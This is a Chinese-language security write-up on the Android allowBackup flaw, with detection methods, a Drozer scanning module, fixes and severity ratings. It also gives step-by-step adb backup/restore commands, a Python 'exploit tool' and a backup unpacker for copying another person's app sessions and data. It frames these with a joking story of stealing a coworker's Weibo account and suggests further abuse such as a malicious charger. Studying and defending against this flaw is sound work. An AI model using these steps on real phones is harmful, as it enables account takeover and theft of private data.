Android App AllowBackup漏洞

Android App AllowBackup漏洞

                                                                                                                       圖/文安卓安全中文站



        筆者在使用自己編寫的Drozer模塊對國內流行的安卓手機應用進行自動化掃描後發現有大量涉及用戶財產和隱私的流行安卓應用存在Android AllowBackup漏洞,已測試成功受到漏洞影響的應用包括:新浪微博,百度雲網盤,美團,大衆點評,去哪兒等等。


0x00 漏洞案例

      先來看一個情景案例,某IT男一直暗戀部門某女神,一天女神手機太卡了找IT男幫助清理手機空間,IT男高興地答應女神兩分鐘搞定,屁顛屁顛的跑到自己電腦旁邊連上手機,女神在一邊呆呆的看着IT男敲了幾行代碼然後在手機上點了幾下,最後果然兩分鐘不到就搞定了,在女神謝着離開後,IT男露出了WS的笑容。


       沒錯,他成功了盜到了女神的微博帳號,終於不用問同事女神的微博帳號是多少了~當然這不是結局,一天晚上睡覺時,他看了女神的微博私信後心突然碎了。

到底發生了什麼,這背後有啥不可告人的祕密?且看本文詳細分析。


0x01 漏洞背景

        在谷歌2010年發佈Android 2.2 Froyo (凍酸奶)系統中,谷歌引入一個了系統備份的功能,允許用戶備份系統應用和第三方應用的apk安裝包和應用數據,以便在刷機或者數據丟失後恢復應用。 第三方應用開發者需要在應用的AndroidManifest.xml文件中配置allowBackup標誌(默認爲true)來設置應用數據是否能能夠被備份或恢復。
當這個標誌被設置爲true時應用程序數據可以在手機未獲取ROOT的情況下通過adb調試工具來備份和恢復,這就允許惡意攻擊者在接觸用戶手機的情況下在短時間內啓動手機USB調試功能來竊取那些能夠受到AllowBackup漏洞影響的應用的數據,造成用戶隱私泄露甚至財產損失。

使用反編繹工具JEB查看weibo客戶端manifest配置:


        在之前的案例正是因爲新浪微博安卓客戶端(最新版)AndroidManifest.xml並沒有配置android:allowBackup=“false”,導致女神手機中的微博客戶端數據可以在短時間內通過ADB調試備份到電腦中最後恢復到IT男手機,然後IT男以後每天就可以用女神的帳號看女神發了啥微博和私信內容。

當然可利用的場景當然不止於此,想想,如果存在漏洞的是你的團購應用呢(看看有啥團購券我先來用吧),當然還有你的網盤應用(說不定可以看女神的私密照~),哦,對了連通訊錄,社交和理財應用也不能放過(女神們還敢把手機給IT男清理不)。。。


0x02 檢測方法

(1)手工檢測

測試環境:
1.Windows 7,ADB調試工具
2.物理接觸目標手機1,連接手機1到PC端
3.手機1和手機2均未被ROOT,開啓USB調試
4.不用安裝其它應用,不啓動被測試的應用

測試流程:
1.連接安裝開啓USB調試手機1 到PC端
2.在PC自動(也可以提前)安裝好手機驅動後
3.啓動命令行界面輸入以下命令:
adb devices
//顯示已連接的設備列表,測試手機是否正常連接
adb backup -nosystem -noshared -apk -f com.sina.weibo.ab com.sina.weibo
//-nosystem表示不備份系統應用 -noshared表示不備份應用存儲在SD中的數據 -apk表示備份應用APK安裝包 -f 表示備份的.ab文件路徑和文件名 最後是要備份應用的packageName
4.點擊手機1確認備份界面的“備份我的數據”
5.等待備份完成,至此微博客戶端數據成功備份爲com.sina.weibo.ab文件
6.斷開手機1的連接,可以把手機還給女神啦
7. 連接手機2 ,在命令行界面下輸入以下命令:
adb kill-server  //關閉ADB
adb devices //重新啓動ADB,檢測手機2是否成功連接
adb restore com.sina.weibo.ab
8.點擊手機2確認恢復界面的“恢復我的數據”
9.等待恢復完成
10.打開手機2中新安裝的微博客戶端,測試可正常登錄手機1中帳號執行各種操作,且長期有效。

(2)在線檢測

目前國內三個主要的Android應用漏洞在線檢測系統均能較好的檢測此漏洞,建議普通用戶和開發者使用騰訊金剛審計系統上傳應用安裝包進行檢測。
1.騰訊金剛審計系統檢測結果( http://service.security.tencent.com/kingkong )


2.阿里聚安全檢測結果( http://jaq.alibaba.com/ )


3.360捉蟲獵手檢測結果( http://appscan.360.cn/ )


0x03 影響範圍

        目前測試了手上一臺安裝有Android 4.1.1系統的魅族MX2手機和安裝有Android 4.4.2系統的魅族MX4手機均測試成功,理論上影響Android 2.2-Android 4.4系統中存在風險的應用。
建議評級:
儘管此漏洞的利用條件較高,需要物理接觸,但此漏洞對涉及用戶財產與隱私類的APP來說殺傷力較大,建議廠商視情況修復。
  1. 金融類APP 高危
  2. 支付類APP 高危
  3. 團購類APP 中危
  4. 社交類APP 中危
  5. 網盤類APP 中危
  6. 其它類APP 低危/無影響

0x04 修復方案

        開發者如要避免應用數據泄露的風險,應當在設置AndroidManifest.xml文件中配置android:allowBackup=“false”,此時應用程序數據無法被備份和恢復。或者在應用啓動時檢測手機硬件和網絡環境是否改變,如果存在異常則強制退出或重新登錄。


0x05 編寫Drozer模塊實現漏洞自動化掃描

Drozer是MWR InfoSecurity公司開發的一款安卓應用安全評估框架,其社區版開源在Github上(https://github.com/mwrlabs/drozer )。對於從事安卓應用漏洞測試的安全研究者們來說,他們可以使用drozer提供的框架自己編寫模塊(Module)方便對的安卓應用進行漏洞檢測與利用。
以下是自己編寫一個Drozer Module,用於自動化批量檢測手機中的哪些應用存在AllowBackup風險。
import re

from drozer import android

from drozer.modules import common, Module

class AbChecker(Module, common.Assets,common.PackageManager):

    name = "check if app can be backup and restore by usb debugging"

    description = "see:htttp://www.droidsec.cn"

    examples ="""

    dz> run scanner.misc.abchecker -a

    -> it will run the script to check all apps

    dz> run scanner.misc.abchecker -p com.android.chrome

    -> it will run the script to check the provided package

    """

    author = "DroidSec.cn"

    date = "2015-03-07"

    license = "BSD (3-clause)"

    path = ["scanner", "misc"]

    permissions = ["com.mwr.dz.permissions.GET_CONTEXT"]

    VULNERABLE_API = 'android:allowBackup="true"'

    

    def add_arguments(self, parser):

        parser.add_argument("-p", dest="pkg",help="the identifier of the package")

        parser.add_argument("-a", action="store_true",dest="all",help="the identifier of the package")

    def execute(self, arguments):

        if arguments.pkg != None:

            #self.stdout.write(arguments.pkg)

            self.__write_manifest(arguments.pkg)

        elif arguments.all == True:

            self.stdout.write("[color yellow] Start scan[/color]"+"\n")

            for package in self.packageManager().getPackages(common.PackageManager.GET_PERMISSIONS):

                try:

                    self.__write_manifest(package.packageName)

                except Exception, e:

                    print str(e)

            self.stdout.write("[color yellow] Scan finish[/color]"+"\n")

    def __write_manifest(self, package):

        lines=self.getAndroidManifest(package).split("\n")

        r1=re.compile(r'\<application')

        r2=re.compile(r'allowBackup="false"')

        vulnerable=0

        for line in lines:

            line = str(line)

            isApplicationTag=re.search(r1,line)

            if isApplicationTag != None:

                isAllowBackup=re.search(r2,line)

                    #self.stdout.write(line+"\n")

                if isAllowBackup == None:

                    self.stdout.write("[color red] %s is vulnerable[/color]"%package+"\n")

                else:

                        continue

            else:

                continue


運行截圖:



注意事項:

此drozer module檢測原理是匹配應用manifest文件中是否配置了allowBackup=“false”來判斷應用數據是否可備份和恢復,實際測試會發現一部分應用能成功備份和恢復但就是無法登錄(比如手機淘寶和京東客戶端),這說明廠商已經考慮到此設置可能帶來的安全風險,並做出了相應限制,此類應用是安全的。


0x06 編寫Python腳本實現自動攻擊與利用

1.如上文所述,整個漏洞測試過程中需要輸入不少命令,對於手速慢和不習慣敲命令的人來說還是略麻煩了點,所以我們可以編寫Python腳本來實現自動化攻擊和利用。
#!/usr/bin/python

#coding:utf8

import commands

import re,sys

from optparse import OptionParser

def usage():

    print '''

    ------------------------------------------------------------------

                Android Application AllowBackup Exploit Tool

    Usage:DroidSec_AbHack.py -p com.xxx.xxx(packageName) -b (backup)

          DroidSec_AbHack.py -p com.xxx.xxx(packageName) -r (restore)

    How to check the  security vulnerabilities of application?

    Go to the professional Android security Website!

                    =>  http://www.droidsec.cn

    ------------------------------------------------------------------

    '''

class AbHack:

    def __init__(self,adb,pkg):

        self.adbdir=adb

        self.package=pkg

    def getinfo(self):

        (status,output)=commands.getstatusoutput(self.adbdir+'devices')

        r=re.findall('device',output)

        if len(r) >= 2:

            return "ok"

        else:

            return "waiting"

    def backup(self):

        if self.getinfo()=="ok":

            print "Start backup......"

            output=commands.getoutput(str(self.adbdir)+"backup -nosystem -noshared -apk -f "+str(self.package)+".ab "+str(self.package))

            print output

            print "backup success!"

        else:

            print "Please connect your mobile phone(usb debugging must been enabled) or check the ADB directory is configurd properly"

    def restore(self):

        commands.getstatusoutput(self.adbdir+"kill-server")

        if self.getinfo()=="ok":

            print "start restore..."

            output=commands.getoutput(str(self.adbdir)+"restore "+str(self.package)+".ab")

            print output

        else:

            print "Please connect your mobile phone(usb debugging must been enabled) or check the ADB directory is configured properly"

if __name__ == "__main__":

    adbdir="/Users/nickycc/Downloads/adt-bundle-mac/sdk/platform-tools/adb " #please set the ADB file directory before use

    parser = OptionParser()

    parser.add_option("-p", action="store", dest="pkg")

    parser.add_option("-b", action="store_true",dest="abhack")

    parser.add_option("-r", action="store_false",dest="abhack")

    (options, args) = parser.parse_args()

    usage()

    if len(sys.argv) <=1:

        sys.exit()

    elif options.abhack==True:

        Backup=AbHack(adbdir,options.pkg)

        Backup.backup()

    elif options.abhack==False:

        Restore=AbHack(adbdir,options.pkg)

        Restore.restore()

    else:

        sys.exit()


運行截圖:



2.應用備份生成的.ab文件其實是可以解包的,解包後的目錄結構如下:


分別對應了androidmanifest.xml,apk安裝包,database目錄,files目錄,其它目錄以及shared_prefs目錄,我們可以通過解包來對竊取的應用數據進一步分析。

解包的python腳本如下:
# coding=utf-8

import argparse
import os
import sys
import zlib

C_BUFFER_SIZE = 1048576

def ArgParse():

    """

    Parses the command line arguments

    :return: argparse dictionary

    """

    # parse command line arguments

    parser = argparse.ArgumentParser(

        description="xbackup: extracts an Android ICS+ backup file.")

    parser.add_argument("ipath",

                        help="Input path.")

    parser.add_argument("opath",

                        help="output path.")

    args = parser.parse_args()

    return args

def Extract(args):

    """

    Extracts the .tar file of an Android Backup. Assumes the backup is not encrypted and is

    compressed.

    :param args:

    :return:

    """

    ifile = open(args.ipath, "rb")

    ofile = open(args.opath, "wb")

    data = ifile.read(C_BUFFER_SIZE)

    print data

    pos = data.find("none\n") + 5

    data = data[pos:]

    dc = zlib.decompressobj()

    while data:

        ofile.write(dc.decompress(data))

        data = ifile.read(C_BUFFER_SIZE)

    ifile.close()

    ofile.close()

def main():

    args = ArgParse()

    if os.path.isfile(args.ipath):

        Extract(args)

    else:

        print "Could not open input file!."

        return 1

    return 0

if __name__ == "__main__":

    sys.exit(main())


0x07 更多猥瑣流利用方法

        國外安全公司PALO ALTO早在2014年8月就發過研究報告稱超過94%的流行應用存在此漏洞, 大牛Claud Xiao更是在去年Hitcon會議分享過與此有關的研究,如何讓這個被很多人廠商視如雞肋的漏洞有爲猥瑣的利用呢?這裏提兩點自己想到的,歡迎大家一起來交流 : )
(1)在APP漏洞裏不安全的內部存儲絕對是十分常見的漏洞,比如密碼明文儲存。筆者曾在測試某金融類APP時發現該APP在應用內部(/data/data/com.xx.xx/shared_prefs/)存儲了明文的手勢密碼(如下圖中的lock.xml),正常情況下如果用戶手機是未ROOT的,就算明文存儲也沒法獲取到,漏洞影響相對較小,而繼而我發現該理財APP同時存在allowbackup漏洞,也就是說我可以先將該應用數據備份到另一臺已經獲取ROOT手機,然後我不僅獲得了用戶帳號登錄權限,連手勢密碼我都可以直接修改成任意(服務器端沒做驗證)或者相同(服務器端有驗證)。還有一種情況是應用數據庫中(/data/data/com.xx.xx/database/)直接存儲了用戶的登錄帳號和密碼那相當於直接利用allowbackup盜得了用戶帳戶密碼。
 (2)LastPass(一個用戶密碼管理工具)曾經被發現存在通過備份到其它手機來清除手勢密碼來登錄獲取用戶儲存在LastPass上的所有密碼的漏洞(CVE-2013-5113 and CVE-2013-5114)。發散一下思維,儲存用戶其它密碼的還有哪些應用?對!瀏覽器,那些習慣了記住密碼的用戶很可能就會被存在漏洞的瀏覽器賣了。其它就看大家的更猥瑣的發揮了~

(3)將惡意軟件內置到外觀類似充電器的微型PC裝置中,用戶一連充電器自動備份所有應用數據。(感謝DragonEgg提出)


參考資料

1.https://www.paloaltonetworks.de/content/paloaltonetworks-com/global/cn_zh/index/company/press/2014/palo-alto-networks-unveils-security-risks-in-android-internal-storage.html
2.http://researchcenter.paloaltonetworks.com/2014/08/insecure-internal-storage-android/
3.http://developer.android.com/reference/android/R.attr.html#allowBackup
4.http://blog.c22.cc/2013/08/01/bsideslv-android-backup-unpacker-release/
5.http://nelenkov.blogspot.fi/2012/06/unpacking-android-backups.html
6.https://github.com/info-lab/ABX

7.https://github.com/mwrlabs/drozer


補充:相關下載

鏈接: http://pan.baidu.com/s/1kTHwkGR 密碼: w4jq


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章